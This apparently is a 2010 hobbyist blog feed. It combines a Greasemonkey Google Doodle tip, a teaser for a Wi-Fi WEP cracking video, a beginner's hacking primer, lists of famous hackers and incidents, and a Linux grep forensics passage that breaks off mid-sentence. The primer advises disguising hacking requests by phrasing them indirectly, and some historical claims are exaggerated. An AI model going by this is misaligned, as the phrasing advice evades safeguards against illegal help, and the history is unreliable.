I believe everyone is familiar with the Google Doodle (also known as the Google Holiday Logo). Our big brother Google has been dressing up its logo for festive occasions since 1998. The first Google Doodle was the Burning Man Festival of 1998.

Favorite Doodle is a new Greasemonkey script that allows you to Replace the boring logo on the Google homepage and search results page with your favourite Google Doodle. Since we are going to use a Greasemonkey script, this method is applicable to Firefox only.

First, install the Greasemonkey extension on your Firefox browser if you don’t already have. Restart your browser after the installation. Then, install the Favorite Doodle script.

Now, go to Google.com. If the Google logo has changed to Google Lego logo, it’s mean that the script is working fine.

Next, pick the Doodle that you like from the official Google Doodle Gallery. I hope you don’t have hard time to pick one as your favourite Doodle. I know, most of the Doodles, if not all, are simply great.

Once you have made a choice, simply click on the ”Make This My Favorite Doodle” button under your favourite Google Doodle to make the Google Doodle permanent on the Google homepage.

So, will you still see new logos on holidays? Don’t worry, you wouldn’t miss any single new doodle on Google homepage. Whenever a new Google Doodle is shown, your favourite doodle will be replaced by the new doodle for that particular day. After the holiday, your favourite doodle will be displayed again.

However, if you want, you can disable new Google Doodle from showing. Simply select “Favorite Doodle -> Always show my favorite doodle, even on holidays” option from the Greasemonkey “User Script Commands” menu.

So this was all about the Googling in my own way. Next trick will be published soon over Google tweaking.

Change Google Doodle as your Name with Different Styles-

noreply@blogger.com (Amit Tyagi) — Thu, 09 Dec 2010 03:41:00 +0000

More than a year ago, I have shown you on how to replace the Google text logo with any names you like. Well, the trick is pretty old now. So, it’s time to learn a new trick. This time you will learn on how to replace the logo on Google homepage with your favourite Google Doodle.
I believe everyone is familiar with the Google Doodle (also known as the Google Holiday Logo). Our big brother Google has been dressing up its logo for festive occasions since 1998. The first Google Doodle was the Burning Man Festival of 1998.

Favorite Doodle is a new Greasemonkey script that allows you to replace the boring logo on the Google homepage and search results page with your favourite Google Doodle. Since we are going to use a Greasemonkey script, this method is applicable to Firefox only.
First, install the Greasemonkey extension on your Firefox browser if you don’t already have. Restart your browser after the installation. Then, install the Favorite Doodle script.
Now, go to Google.com. If the Google logo has changed to Google Lego logo, it’s mean that the script is working fine.

Next, pick the Doodle that you like from the official Google Doodle Gallery. I hope you don’t have hard time to pick one as your favourite Doodle. I know, most of the Doodles, if not all, are simply great.

Once you have made a choice, simply click on the ”Make This My Favorite Doodle” button under your favourite Google Doodle to make the Google Doodle permanent on the Google homepage.
So, will you still see new logos on holidays? Don’t worry, you wouldn’t miss any single new doodle on Google homepage. Whenever a new Google Doodle is shown, your favourite doodle will be replaced by the new doodle for that particular day. After the holiday, your favourite doodle will be displayed again.
However, if you want, you can disable new Google Doodle from showing. Simply select “Favorite Doodle -> Always show my favorite doodle, even on holidays” option from the Greasemonkey “User Script Commands” menu.

How to Hack Wireless (Wi-Fi) -

noreply@blogger.com (Amit Tyagi) — Wed, 08 Dec 2010 04:38:00 +0000

You can learn here that how to hack a wi-fi password (WEP Key) from your laptop? All you want to do is what this video is gonna teach you.You watch it and crack any wireless WEP key.

Amit Tyagi

For Beginners- Introduction to Hacking

noreply@blogger.com (Amit Tyagi) — Sat, 20 Nov 2010 14:48:00 +0000

The metamorphism into a hacker

Welcome to Amit-Spot, a non-profit organization intended to teach you about computer security/hacking. Look around the site and you will find Missions to be completed and a well-maintained forum. Take time to read the articles available here and increase your repertoire of knowledge.Feel free to ask, and asking as a script kiddie is a skill in itself which I will cover later.

What is taught here

The main focus of Amit-Spot ,is web hacking and exploitation. For this knowledge of HTML is necessary as it is the bread and butter of things to come. Take time to learn it here: http://www.w3schools.com

Have fun doing the challenges, have a determination to learn and you will become a great hacker in no time.

:: Types Of Hacker ::

There are three Categories of hackers:-

1.0) WHITE HAT HACKERS:-This type of hackers are basically the penetration testers for vulnerabilities in the security of the systems.They work for the companies to secure their confidential informations.They are often called ETHICAL HACKERS.

2.0) BLACK HAT HACKERS:- This type hackers are the guys who exploits the systems for their Malicious Purposes like stealing user name and password of any organization, stealing money from banks websites, stealing confidential data like software and important documents etc.They are often called CRACKERS or SCRIPT KIDDIES.

3.0) GRAY HAT HACKERS:- These are basically intermediate level hackers for above two categories. Means they do both type of hacking. If we talk about more precisely then they are basically ethical hackers they generally do Black hacking under the written permission of authority of concerned department.

What about hacking in the movies

Movies such as Die Hard 4.0 show hacking as what most teenagers and villains do. This is entirely false as preteens as young as 12 learn and the majority of hackers are “White Hat”. This is a stereotype which many civilians believe hackers are.

Next is the “hacking part” in the movies. You hear them mention about Nmap and there is a certain program opened with black background and white text only with strange code on it. Now this is “Server Rooting,” a very advanced type of hacking. This is hacking into the server and exploitation of the operating system, which takes years of hacking to even get to the “newbie” part of it.

How about the hacking programs online? Do they make me a hacker?

Most certainly not. There programs are made by hackers, obviously black hat, to infiltrate into the script kiddie community and wreck havoc. What you don’t know is that there may be a line of code in there which makes you contribute to a huge DOS attack.

A hacker can be defined as this:

http://www.catb.org/~esr/faqs/hacker-howto.html#attitude

A hacker hacks by exploiting code and hacks manually, not using the program of others. If he needs a program he shall program it himself.

What programming language should I learn? Many people say that I shouldn’t start on BASIC but it’s so simple!

I am a victim of the bad syntax of BASIC. Once you learn BASIC it is very hard to break the bad habit of its syntax. Especially a wide gap as switching from BASIC to C++. However this does not mean it’s a bad language. It still is a programming language but once you master BASIC you should stick to BASIC.

A better start would be Python, Perl or Ruby. These are also high-level programming languages such as BASIC but their syntax is much better. For seconds you should try C/C++. These are quite hard to learn for a beginner so you should master a simpler programming language first.

Why do I always get flamed on the forums when I ask them to hack a website for me? You told me that I should ask!

You were obviously asking wrongly. First here’s an introduction to the most-used forum rule:

Amit-Spot shall not support illegal activities.

To ask smart and viable questions read this:

http://catb.org/~esr/faqs/smart-questions.html#intro

Now a bad example would be:

"Yooz peepz yuz gotza help me 2 hax0r tHis wak0 sitE."

A good example would be:

CODE :

Hello there,

I’m really new to this site. Could you please kindly explain to me how this PHP exploitation works?

Thanks in advance,
-username here-

Now this is the way to ask smart questions. Don’t ask directly about hacking, just phrase it in an indirect way.

- Amit Tyagi

List of World Best Top Hackers of All Time

noreply@blogger.com (Amit Tyagi) — Sun, 14 Nov 2010 06:27:00 +0000

Hackers, a group that consists of skilled computer enthusiasts. A black hat is a person who compromises the security of a computer system without permission from an authorized party, typically with malicious intent. The term white hat is used for a person who is ethically opposed to the abuse of computer systems, but is frequently no less skilled. The term cracker was coined by Richard Stallman to provide an alternative to using the existing word hacker for this meaning.The somewhat similar activity of defeating copy prevention devices in software which may or may not be legal in a country's laws is actually software cracking....[ Wiki Source ]

List of Famous Hackers of All Time:

There are numbers of Hackers in the world till date, Few has become famous by their Black hat work and few of them are famous by their Ethical Hacking. Below is separate list of World's All Time Best Hackers and Crackers. Although I represent them by Hackers only because what every they did, was wrong but one thing is sure they were Brilliant. Hacking is not a work of simple mind, only Intelligent Mind can do that.

1.Gary McKinnon-
Gary McKinnon, 40, accused of mounting the largest ever hack of United States government computer networks -- including Army, Air Force, Navy and NASA systems The court has recommended that McKinnon be extradited to the United States to face charges of illegally accessing 97 computers, causing US$700,000 (400,000 pounds; euro 588,000) in damage.

2.Jonathan James-
The youth, known as "cOmrade" on the Internet, pleaded guilty to intercepting 3,300 email messages at one of the Defense Department's most sensitive operations and stealing data from 13 NASA computers, including some devoted to the new International Space Station. James gained notoriety when he became the first juvenile to be sent to prison for hacking. He was sentenced at 16 years old. He installed a backdoor into a Defense Threat Reduction Agency server. The DTRA is an agency of the Department of Defense charged with reducing the threat to the U.S. and its allies from nuclear, biological, chemical, conventional and special weapons. The backdoor he created enabled him to view sensitive e-mails and capture employee usernames and passwords.James also cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department of Justice, “The software supported the International Space Station’s physical environment, including control of the temperature and humidity within the living space.” NASA was forced to shut down its computer systems, ultimately racking up a $41,000 cost.

3.Adrian Lamo-
Dubbed the “homeless hacker,” he used Internet connections at Kinko’s, coffee shops and libraries to do his intrusions. In a profile article, “He Hacks by Day, Squats by Night,” Lamo reflects, “I have a laptop in Pittsburgh, a change of clothes in D.C. It kind of redefines the term multi-jurisdictional.”Dubbed the “homeless hacker,” he used Internet connections at Kinko’s, coffee shops and libraries to do his intrusions. For his intrusion at The New York Times, Lamo was ordered to pay approximately $65,000 in restitution. He was also sentenced to six months of home confinement and two years of probation, which expired January 16, 2007. Lamo is currently working as an award-winning journalist and public speaker.
4.Kevin Mitnick-
The Department of Justice describes him as “the most wanted computer criminal in United States history.” His exploits were detailed in two movies: Freedom Downtime and Takedown. He started out exploiting the Los Angeles bus punch card system to get free rides. Then, like Apple co-founder Steve Wozniak, dabbled in phone phreaking. Although there were numerous offenses, Mitnick was ultimately convicted for breaking into the Digital Equipment Corporation’s computer network and stealing software.Today, Mitnick has been able to move past his role as a black hat hacker and become a productive member of society. He served five years, about 8 months of it in solitary confinement, and is now a computer security consultant, author and speaker.
5.Kevin Poulsen-
Also known as Dark Dante, Poulsen gained recognition for his hack of LA radio’s KIIS-FM phone lines, (taing over all of the station’s phone lines) which earned him a brand new Porsche, among other items. Law enforcement dubbed him “the Hannibal Lecter of computer crime.”Authorities began to pursue Poulsen after he hacked into a federal investigation database. During this pursuit, he further drew the ire of the FBI by hacking into federal computers for wiretap information.His hacking specialty, however, revolved around telephones. Poulsen’s most famous hack, In a related feat, Poulsen also “reactivated old Yellow Page escort telephone numbers for an acquaintance who then ran a virtual escort agency.” Later, when his photo came up on the show Unsolved Mysteries, 1-800 phone lines for the program crashed. Ultimately, Poulsen was captured in a supermarket and served a sentence of five years.Since serving time, Poulsen has worked as a journalist. He is now a senior editor for Wired News. His most prominent article details his work on identifying 744 sex offenders with MySpace profiles.

6.Robert Tappan Morris-
Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, the first computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted under the 1986 Computer Fraud and Abuse Act.

Morris wrote the code for the worm while he was a student at Cornell. He asserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively, slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers were affected, but experts estimate an impact of 6,000 machines. He was sentenced to three years’ probation, 400 hours of community service and a fined $10,500.Morris is currently working as a tenured professor at the MIT Computer Science and Artificial Intelligence Laboratory. He principally researches computer network architectures including distributed hash tables such as Chord and wireless mesh networks such as Roofnet.
7.Vladimir Levin-
Levin accessed the accounts of several large corporate customers of Citibank via their dial-up wire transfer service (Financial Institutions Citibank Cash Manager) and transferred funds to accounts set up by accomplices in Finland, the United States, the Netherlands, Germany and Israel.In 2005 an alleged member of the former St. Petersburg hacker group, claiming to be one of the original Citibank penetrators, published under the name ArkanoiD a memorandum on popular Provider.net.ru website dedicated to telecom market.According to him, Levin was not actually a scientist (mathematician, biologist or the like) but a kind of ordinary system administrator who managed to get hands on the ready data about how to penetrate in Citibank machines and then exploit them.ArkanoiD emphasized all the communications were carried over X.25 network and the Internet was not involved. ArkanoiD’s group in 1994 found out Citibank systems were unprotected and it spent several weeks examining the structure of the bank’s USA-based networks remotely. Members of the group played around with systems’ tools (e.g. were installing and running games) and were unnoticed by the bank’s staff. Penetrators did not plan to conduct a robbery for their personal safety and stopped their activities at some time. Someone of them later handed over the crucial access data to Levin (reportedly for the stated $100).
8.David Smith-
David Smith, the author of the e-mail virus known as Melissa, which swamped computers around the world, spreading like a malicious chain letter. He was facing nearly 40 years in jail . About 63,000 viruses have rolled through the Internet, causing an estimated $65 billion in damage, but Smith is the only person to go to federal prison in the United States for sending one.

9.Mark Abene-
Abene (born 1972), better known by his pseudonym Phiber Optik, is a computer security hacker from New York City. Phiber Optik was once a member of the Hacker Groups Legion of Doom and Masters of Deception. In 1994, he served a one-year prison sentence for conspiracy and unauthorized access to computer and telephone systems.

Phiber Optik was a high-profile hacker in the early 1990s, appearing in The New York Times, Harper’s, Esquire, in debates and on television. Phiber Optik is an important figure in the 1995 non-fiction book Masters of Deception — The Gang that Ruled Cyberspace

10.Onel A. de Guzman-
el A. de Guzman, a Filipino computer student, Greatest Hacker of all time. He was creator of "Love Bug" virus that crippled computer e-mail systems worldwide.
11.Chen Ing-hau-
He was the creator of one of the deadly virus of all time "Chernobyl computer virus " which had melted down many computers worldwide.

12.Mudge-
"Mudge" along with fellow hackers told the committee that computer security is so lax, they could disable the entire Internet in a half-hour.
13. Tsutomu Shimomura-
One of the world's top computer security experts. Shimomura helped Federal officials track down and arrest computer hacker Kevin Mitnick in Raleigh Feb. 15, 1995 in connection with a break-in on Shimomura's computer.
14. Jon Lech Johansen-
Johansen, who became a hero to computer hackers and was deemed a villain by Hollywood, is on trial for writing and distributing a program called DeCSS, software which makes it possible to copy protected DVD films. Prosecutors have asked to have his computers confiscated and called for him to pay $1,400 in court costs.
15.Dmitry Sklyarov-
Russian computer programmer who was charged with violating copyrights, Sklyarov was jailed after developing software that allows the user to circumvent the copyright protections in Adobe Systems eBook reader program.

16.Dennis Moran-
Moran, known on the Web as "Coolio," pleaded guilty to hacking into national computer sites last year belonging to the Army, the Air Force and the anti-drug Dare.com.

Famous Three Master Hackers

Some Grand Famous Hackers of Life Time:

1. Richard Stallman-
He was the founder of GNU Projects. Stallman, who prefers to be called rms, got his start hacking at MIT. He worked as a "staff hacker" on the Emacs project and others. He was a critic of restricted computer access in the lab. When a password system was installed, Stallman broke it down, resetting passwords to null strings, then sent users messages informing them of the removal of the password system.

2.Linus Torvalds-
Father of Linux is a good hacker of all time.

3.Stephen Wozniak-
"Woz" is famous for being the "other Steve" of Apple. Wozniak, along with current Apple CEO Steve Jobs, co-founded Apple Computer. Woz got his start in hacking making blue boxes, devices that bypass telephone-switching mechanisms to make free long-distance calls. After reading an article about phone phreaking in Esquire, Wozniak called up his buddy Jobs. The pair did research on frequencies, then built and sold blue boxes to their classmates in college. Wozniak even used a blue box to call the Pope while pretending to be Henry Kissinger.
Some Other famous Hackers :
Dennis Ritchie and Ken Thompson & John Draper
Johan Helsingius & Eric Steven Raymond
Ian Murphy
John Perry Barlow
Tim Berner Lee( Father of WWW )

AMIT TYAGI

Top 10 Hacking Incidents- History of Hackers

noreply@blogger.com (Amit Tyagi) — Sat, 13 Nov 2010 18:55:00 +0000

Top 10 hacking incidents of all time — instances where some of the most seemingly secure computer networks were compromised.

Early 1990s

Kevin Mitnick, often incorrectly called by many as god of hackers, broke into the computer systems of the world's top technology and telecommunications companies Nokia, Fujitsu, Motorola, and SunMicrosystems. He was arrested by the FBI in 1995, but later release don parole in 2000. He never termed his activity hacking, instead he called it social engineering.

November 2002
Englishman Gary McKinnon was arrested in November 2002 following an accusation that he hacked into more than 90 US military computer systems in the UK. He is currently under going trial in a British court for a "fast-track extradition" to the US where he is a wanted man. The next hearing in the case is slated for today.

1995

Russian computer geek Vladimir Levin effected what can easily be called The Italian Job online - he was the first person to hack into a bank to extract money. Early 1995, he hacked into Citibank and robbed $10 million. Interpol arrested him in the UK in 1995, after he had transferred money to his accounts in the US, Finland, Holland, Germany and Israel.

1990

When a Los Angeles area radio station announced a contest that award eda Porsche 944S2 for the 102nd caller, Kevin Poulsen took control of the entire city's telephone network, ensured he is the 102nd caller, and took away the Porsche beauty. He was arrested later that year and sentenced to three years in prison. He is currently a senior editor at Wired News.

1983

Kevin Poulsen again. A little-known incident when Poulsen, then just a student, hacked into Arpanet, the precursor to the Internet was hacked into. Arpanet was a global network of computers, and Poulsen took advantage of a loophole in its architecture to gain temporary control of the US-wide network.

1996

US hacker Timothy Lloyd planted six lines of malicious software code in the computer network of Omega Engineering which was a prime supplier of components for NASA and the US Navy. The code allowed a "logic bomb" to explode that deleted software running Omega's manufacturing operations. Omega lost $10 million due to the attack.

1988

Twenty-three-year-old Cornell University graduate Robert Morris unleashed the first Internet worm on to the world. Morris released 99 lines of code to the Internet as an experiment, but realised that his program infected machines as it went along. Computers crashed across the US and elsewhere. He was arrested and sentenced in 1990.

1999

The Melissa virus was the first of its kind to wreak damage on a global scale. Written by David Smith (then 30), Melissa spread to more than 300 companies across the world completely destroying their computer networks. Damages reported amounted to nearly $400 million.Smith was arrested and sentenced to five years in prison.

2000

Mafia Boy, whose real identity has been kept under wraps because he is a minor, hacked into some of the largest sites in the world, including eBay, Amazon and Yahoo between February 6 and Valentine's Day in 2000.He gained access to 75 computers in 52 networks, and ordered a Denial of Service attack on them. He was arrested in 2000.

1993

They called themselves Masters of Deception, targeting US phonesystems. The group hacked into the National Security Agency, AT&T, andBank of America. It created a system that let them bypass long-distance phone call systems, and gain access to private lines.

Linux Forensics: Pattern Matching wh Grep and Related Tools

noreply@blogger.com (Amit Tyagi) — Sat, 13 Nov 2010 16:51:00 +0000



Pattern matching is locating a given sequence within a pool of information. Everyone who has used Google knows in essence what this is and the importance of refining search terms to weed out unnecessary information from the vast sums available on the Internet. This analogy is applicable to forensic investigations involving digital evidence; it is desirable to avoid the clutter of unwanted information. The benefits of pattern matching are two in number: to increase productivity and the likelihood of finding desired information. A synopsis of regular expressions and an exploration of their importance and efficacy regarding those ends follows; their use is applied with tools common to most GNU/Linux systems. Ancillary topics include network forensic tools and scripting, the latter of which seeks to provide analogous functions between the tools discussed and competing forensic software. Introducing Pattern Matching: A term intertwined with pattern matching is 'regular expressions'. They're synonyms in essence, with the former denoting the action of locating a desired occurrence in a larger data set, and the latter denoting the language by which this is often accomplished.I II Another, potentially inaccurate, synonym for pattern matching and regular expressions is “grep.” The word “grep” goes back to Unix in which editors like ed which phrased search and print functions like g/re/p, wherein “re” is the desired search pattern, and it would print the result to standard output.III Forward closer to the present day, and grep is less used in such a specific context; it now means approximately to find a given pattern. Specifically, grep is one of many programs that use regular expressions (the language of pattern matching). Alternatively, it is oft used as a verb to connote this action. This paper will make liberal use of the word in the spirit of grep's use in colloquial English. Over time regular expressions became diversified into a multitude of different camps, of which about a dozen are reasonably popular at the present day. Some are as followsIV: Perl GNU BRE GNU ERE POSIX BRE POSIX ERE Java .NET Python Ruby XML XPath It is important to note that since these were developed somewhat independently, one should not trust on the fact that regular expressions for one tool will work with another, unless said tool is explicit in stating the standard being used. For instance, FTK and EnCase, use syntax similar to Perl. Without such knowledge, one may assume a pattern in one (grep with BRE syntax) would apply to the other, and evidence may be passed over because of such an error.V Though set standards for regular expressions exist,VI VII derivations from a given standard to incorporate aspects from other standards or to add additional functionality may be present and the lack of such should not be assumed barring the explicit declaration of software providers that given tools conform strictly to set standards. A simple example of such a difference between different regular expression standards would be the pattern [a-z]\{3\} using the Perl and POSIX BRE engines. The POSIX BRE engine would match a string like “abc”, while the Perl engine would match something like “b{3}” literally. This is one of many differences between the engines that are available—because of this, it can be helpful, at least initially, to focus primarily upon one style of regular expressions, adjusting them when necessary, rather than attempting to explore the nuances of each in turn.VIII Perl-style syntax allows the search of non-printable characters.IX Secondly, support for Perl regex is widespread, probably more so than any other regex engine. The GNU grep utility discussed in a later section has a -P switch signifying Perl syntax for the regular expression, saving the frustration of dealing with an entirely new syntax. Also, transitions from Perl syntax to POSIX BRE is both less likely to be necessary and perhaps easier than the opposite. The preponderance of tools explored in a later section of this paper have shared support for the Perl syntax as well. In the effort to make this paper easier to understand, non-Perl syntax will be eschewed when possible.X XI Keeping this in mind, consider for a moment the regular expression syntax of the most popular engine at the moment, Perl.XII Perl is a scripting language, similar to PHP, most commonly tied to server-side scripting, dynamic web page generation, and a close relationship with MySQL.XIII PHP uses Perl syntax. On many websites, data is entered by the customer and sent to the server. If this data is not in the appropriate form when said data reaches the server, PHP can alter said data via three sets of functions: the preg group, the ereg group, and the mb_ereg group.XIV Of these, only the preg group will be discussed,XV and it is not even necessary to know either scripting language to comprehend said languages' regex capacity. The function preg_match('/cat/',$string) would search for the phrase “cat” within the string $string. The single-quotes embody the regular expression, and the forward slashes act as delimiters: CODE : `<?php $string="concatenate"; $res=preg_match('/cat/',$string); echo $res; ?>` The result to the terminal would be “1.” A slightly more complex expression might be cat\|dog, where the expression matches either the phrase “cat” or “dog.” This is a very useful feature called “alternation,” the use of which will be shown later for searching for a number of different patterns at once. Applied uses of regular expressions: In a multitude of books available on the subject of regular expressions, as the book progresses further towards the conclusion, the example expressions seemingly continue to advance further and further in complexity. This is an example of a complex expression:XVI (?=\d)^(?:(?!(?:10\D(?:0?[5-9]\|1[0-4])\D(?:1582))\|(?:0?9\D(?:0?[3-9]\|1[0-3])\D(?:1752)))((?:0?[13578]\|1[02])\|(?:0?[469]\|11)(?!\/31)(?!-31)(?!\.31)\|(?:0?2(?=.?(?:(?:29.(?!000[04]\|(?:(?:1[^0-6]\|[2468][^048]\|[3579][^26])00))(?:(?:(?:\d\d)(?:[02468][048]\|[13579][26])(?!\x20BC))\|(?:00(?:42\|3[0369]\|2[147]\|1[258]\|09)\x20BC))))))\|(?:0?2(?=.(?:(?:\d\D)\|(?:[01]\d)\|(?:2[0-8])))))([-.\/])(0?[1-9]\|[12]\d\|3[01])\2(?!0000)((?=(?:00(?:4[0-5]\|[0-3]?\d)\x20BC)\|(?:\d{4}(?!\x20BC)))\d{4}(?:\x20BC)?)(?:$\|(?=\x20\d)\x20))?((?:(?:0?[1-9]\|1[012])(?::[0-5]\d){0,2}(?:\x20[aApP][mM]))\|(?:[01]\d\|2[0-3])(?::[0-5]\d){1,2})?$ The expression captures dates, times, and datetimes, including leap years. While this is a very comprehensive pattern and excellent intellectual exercise, the most useful and helpful regular expressions may be much less complex.XVII Additionally, the more complex the pattern, the more likely it is to fail, both on account of user error and the restrictiveness of the search pattern. Keeping this in mind, it is more useful to start with simplistic patterns and refine towards more restrictive ones than vice versa. Knowing how to tweak regular expressions is more valuable than having a seemingly infallible set of regular expressions to fall back on; despite the advanced features of matching synonyms and fuzzed spelling in FTK, there are instances in which these fail and custom-made patterns are necessary. What follows are examples of composed regular expressions and the application of several expressions in a forensic context.XVIII As well,this paper branches out to include specific instances of the utilization of regular expressions and pertinent information surrounding the use of grep in the context of Linux-based forensic investigation.XIX There will obviously be far fewer example regular expressions than could have been incorporated into such a paper, being as the number of expressions possibly relevant is limited only by the imagination. These were primarily withheld on account of a desire for a reasonably terse discussion about regular expressions in particular instances—books have been written on the subject which might serve to better elucidate readers of different expressions of pertinence. The references for this paper serve as an excellent guides specifically for regular expressions, as well as accompanying topics such as procuring forensic images with Linux, for any issue deemed by readers to be covered in insufficient detail.XX Introducing Grep:- The grep tool's usefulness comes from its ability to sift through data sets to match a pattern, making it well suited for forensic work.XXI Two common (not necessarily forensic) uses are as follows: CODE : `ps -e \| grep “ge”` This prints all processes (ps lists processes to standard output) that have “ge” in the process name.XXII CODE : `cat /var/log/messages \| grep "fail"` Prints the file /var/log/messages to standard output. This however is redirected with the '\|' (pipe) as standard input to the grep program. Grep prints out the lines matching the pattern “fail.” Grep can be a capable tool in an examiner's toolkit, especially if live analysis is desired on a Linux system. Since grep is very likely already present, it may as well be used.XXIII Exploring the implications of live analysis is beyond the scope of this paper, but note that using grep on a machine on which it already exists would likely alter little as opposed to the introduction of novel programs to a system.XXIV Going back to the examples of grep's usage above, the pipe operator is frequently used; the pipe symbol signals the shell to direct the standard output of the first command and use such as the standard input of the second. Knowledge of standard streams/file descriptors is required to understand the full implications of this. Most of the requisite understanding of such can be gathered from online sources.XXV Concerning file descriptors, grep's output is easily redirected to a file for later review.XXVI Frequently in examining a case, the output would be better read to a file. This is easily done, as shown: CODE : `grep “greed” ./* > file 2> err` The '>' symbol redirects this data to a file for subsequent examination. The '2>' directs error messages (e.g. “Warning: recursive directory loop”) to a different file. If you do not care about the errors at all, direct 2 to /dev/null. Many errors are helpful in discerning why a particular search is not working as expected, but it is possible as has been illustrated to separate error messages from ordinary output, both of which are, by default, written to the terminal. Another terminal trick is as follows: CODE : `grep “greed” ./* &` After this, pressing enter will return the user to a command prompt. It is possible via such to run multiple searches at the same time (it is recommended to combine this with redirection to a file). Typing “fg” will bring this background job to the foreground once again. This assumes the use of Bash; for other shells consult the documentation for similar functionality. Concerning the topic of the three major forms of grep--grep, egrep, and grep -P—the last will be and should be used most frequently. The reasons for this are several. First, grep by default uses POSIX BRE syntax, which varies significantly from grep -P in that special characters must be escaped. This ensures for more cross-compatibility between regular expressions composed on the Linux command line and tools such as FTK. Next both grep and egrep do not support searching for non-printable ASCII characters such as spaces via \x20. Lastly, the selection of the Perl syntax with grep allows for alternation, which is supported under egrep as well but avoids the cross-compatibility issues. Building expressions: The following illustrates some simple searches with grep using patterns that may be forensically pertinent. Worth mentioning is that it may be helpful to experiment with expressions as opposed to simply reading of them. In EnCase, you may utilize the keyword tester (available in the tab for keywords when you make a new keyword).XXVII The following examples shall be formatted for the grep utility bundled with many Linux distributions—downloadable for no cost from many websites.XXVIII For the most part these examples may even be done via the use of a Live distribution—a bootable cd/dvd. The Bash shell is assumed.XXIX The following grep will capture all jpeg photos in the current directory: CODE : `grep -P “^\xFF\xD8\xFF” ./` The -P switch tells the grep program to use Perl syntax, followed by the pattern of hexadecimal characters (using the anchor '^', notably), and then the search path, which is all files in the current working directory. It is worth mentioning that something to this effect is done with forensic software that categorizes files via signature values—this is done via pattern matching as well. Exif metadata in a forensic investigation may provide interesting and possibly crucial data pertinent to an investigation and serves a good example for something easily locatable with regular expressions. Typical attributes present in Exif metadata include camera make and model, date and time information, camera settings, picture thumbnail (oft utilized for display on a camera screen). Some new, high-end camera models actually incorporate a feature called geolocation, which tags photos with information about the locality of the picture. Exif metadata is typically distinguishable from a typical picture by ASCII text subsequent to the file header.XXX With jpeg files, a regular expression can be constructed to determine which files may contain Exif metadata and which don't:XXXI CODE : `grep -P "^.{6,30}Exif" ./` FTK and EnCase do not contain the capability to sort images based on this determinant.XXXII Assuming a series of files are found pertinent to a given crime or circumstance, this may lend investigators the cause to search for and seize digital equipment not specified or justified in an initial search warrant.XXXIII The following expression matches a large number of email addressesXXXIV: \b[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,4}\b A sample of grabbing an IP address with pertinent limitations: XXXV \b(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\.(25[0-5]\|2[0-4][0-9]\|[01]?[0-9][0-9]?)\b An alternative form of this without the limitations of each octet ranging from 0-255, decimal, might be found in the following: \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b This would match IP addresses, but not have the added benefit of weeding out IP addresses like 400.600.800.900, which are impossible. Also, the '\b' word boundaries will not work if there is a larger string within which an apparent IP was found. E.g. 123.456.78.9.123.456.78. It will match on this; one solution would be to do something like this: CODE : `grep -rP “[^\d\.]\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[^\d\.]” ./` The following grep search uses the /dev/ entry and treats the entire device (in my case a partition on a USB disk) similarly to that of a single file. Thus, such could be utilized to comb through either deleted files or file slack: CODE : `sudo grep -abP "hiddendata\!" /dev/sdb3` The -b switch will print out a byte offset. In this case it's very useful to have being as its a whole partition to sort through. This grep search was somewhat problematic on account of a possible bug with the -P switch, labeled as “experimental” in the man page of grep.XXXVI It serves as an example of the caution needed when testing expressions. grep -P “baked(?!beans)” ./wordlist To solve this issue, any of the following worked:XXXVII CODE : `grep -P “baked” ./wordlist \| grep -v “bakedbeans” grep -P 'baked(?!beans)' ./wordlist x='!beans'; grep -P "baked(?${x})" ./wordlist` Keyword searches: Regular expressions in any given case need to be flexibly adapted to fit the needs of the investigation at hand.XXXVIII An example keyword search might be as follows:XXXIX CODE : `grep -Pr "(torrent)\|(h33t)\|(tpb)\|(thepiratebay)\|(demonoid)\|(mininova)\|(waffles)\|(what\.cd)" ./` This might be an example of a search conducted on an individual suspected of software piracy. The search terms, separated by alternations (the pipe '\|' symbol), are names of common keywords pertaining to torrents, common file sharing tools notably not illegal in and of themselves, but commonly abused avenue for the sharing of illicit warez. The keywords can and should be adjusted pending the circumstances of the case. The most will be said by far about this sort of pattern, as it is both powerful and flexible. The basic idea is to separate desired patterns in between alternations, so a match of any result will be seen. There is no feasible limit to the number of terms that may be searched for. In the effort to provide a means for the quicker development of searches using a large number of keywords, here is the source of a small php script designed to be run from the command line to hopefully facilitate the process: CODE : `<?php $file="$argv[1]"; $fh=fopen($file,'r'); $data=fread($fh,filesize($file)); $changed=str_replace(",","\|", $data); $changed=str_replace("\n","",$changed); $changed="\"".$changed."\""." "; $changed=str_replace(".","\.",$changed); $location=$argv[2]; $grepstring="grep -Prnb "; $g_query=$grepstring.$changed.$location; if($argv[3] != NULL) echo "\n".$g_query." > $argv[3]"; else echo "\n".$g_query; ?>` Where the basic syntax is “[scriptname.php] [inputfile] [searchlocation] [outputfile]”. Consider this example: CODE : `php myscript.php input / outputfile.` This would run the script 'myscript.php', using 'input' as the input file, searching through the directory '/', and using output as the output file for redirection. The actual output of the script would be as follows: CODE : `grep -Pr "torrent\|h33t\|tpb\|thepiratebay\|demonoid\|mininova\|waffles\|what\.cd" / > outputfile` For the input file, simply make a comma-separated file of the keywords. This sort of script is simple, and not perfect, but it works for reducing the workload on large or frequently used keyword-search type grepping. It should be mentioned that grep without the -P switch can do this with a newline-separated file, specified with the -f switch. The Perl syntax (-P switch) doesn't allow for this, however, necessitating the php script to shorten.XL This was tested on sets of input keywords as large as 1411 different alternations. Regarding the speed differences between a search of 1411 alternations and one with many fewer, the speed differences were 0.0086250 seconds per alternation for a search with some ten alternations, and .004123317 seconds per alternation with a search with 1411 alternations.XLI While speed concerns are not a primary aspect of this paper, these preliminary benchmarks seem to indicate grep's efficiency in handling large numbers of alternations.XLII The script could also append to a log-file of grep expressions. It is not ideal, much could be added and changed.XLIII More special characters could be escaped in the same way that the '.' character is already. Grep and Packet Sniffing: Grep with redirection (recall the discussion of standard streams) can be useful for several applications. The first reason, that has already been mentioned, is that the '>' character can be appended to a grep command to write the output to a file. The '>>' character can be used to append a later search onto the end of an earlier one. Another viable use of grep could be to combine packet 